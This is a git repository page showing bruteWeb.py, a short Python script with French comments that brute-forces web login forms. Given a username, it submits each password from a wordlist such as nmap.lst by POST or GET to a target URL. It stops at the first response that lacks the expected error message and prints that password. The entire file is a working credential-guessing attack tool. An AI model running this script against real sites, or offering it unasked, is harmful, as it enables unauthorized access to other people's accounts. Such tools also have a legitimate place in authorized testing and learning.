summaryrefslogtreecommitdiff
path: root/bruteforce/bruteWeb.py
blob: e75cde1236367fd1f50ceffcb5a7081cc843862e (plain)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
import sys
import requests 

def bruteforce(method,url,username,password,error_msg):
    if method == "post":
        reponse=requests.post(url,data={
        "username":username,
        "password":password
        })
    elif method == "get":
        reponse=requests.get(url,params={
        "username":username,
        "password":password
        })

    if error_msg in reponse.text:
        #print("erreur : ",password)
        pass
    else:
        print("trouvé : ",password)
        return True

if __name__ == "__main__":
    method = sys.argv[1]
    url = sys.argv[2]
    username = sys.argv[3]
    dico = sys.argv[4]
    error_msg= sys.argv[5]
    with open(dico, 'r') as wordlist:
        for ligne in wordlist.readlines():
            # le fichier nmap.lst à des commentaires en début de fichier
            if ligne[0] != "#":
                password=ligne.strip()
                if bruteforce(method,url,username,password,error_msg)==True:
                    sys.exit()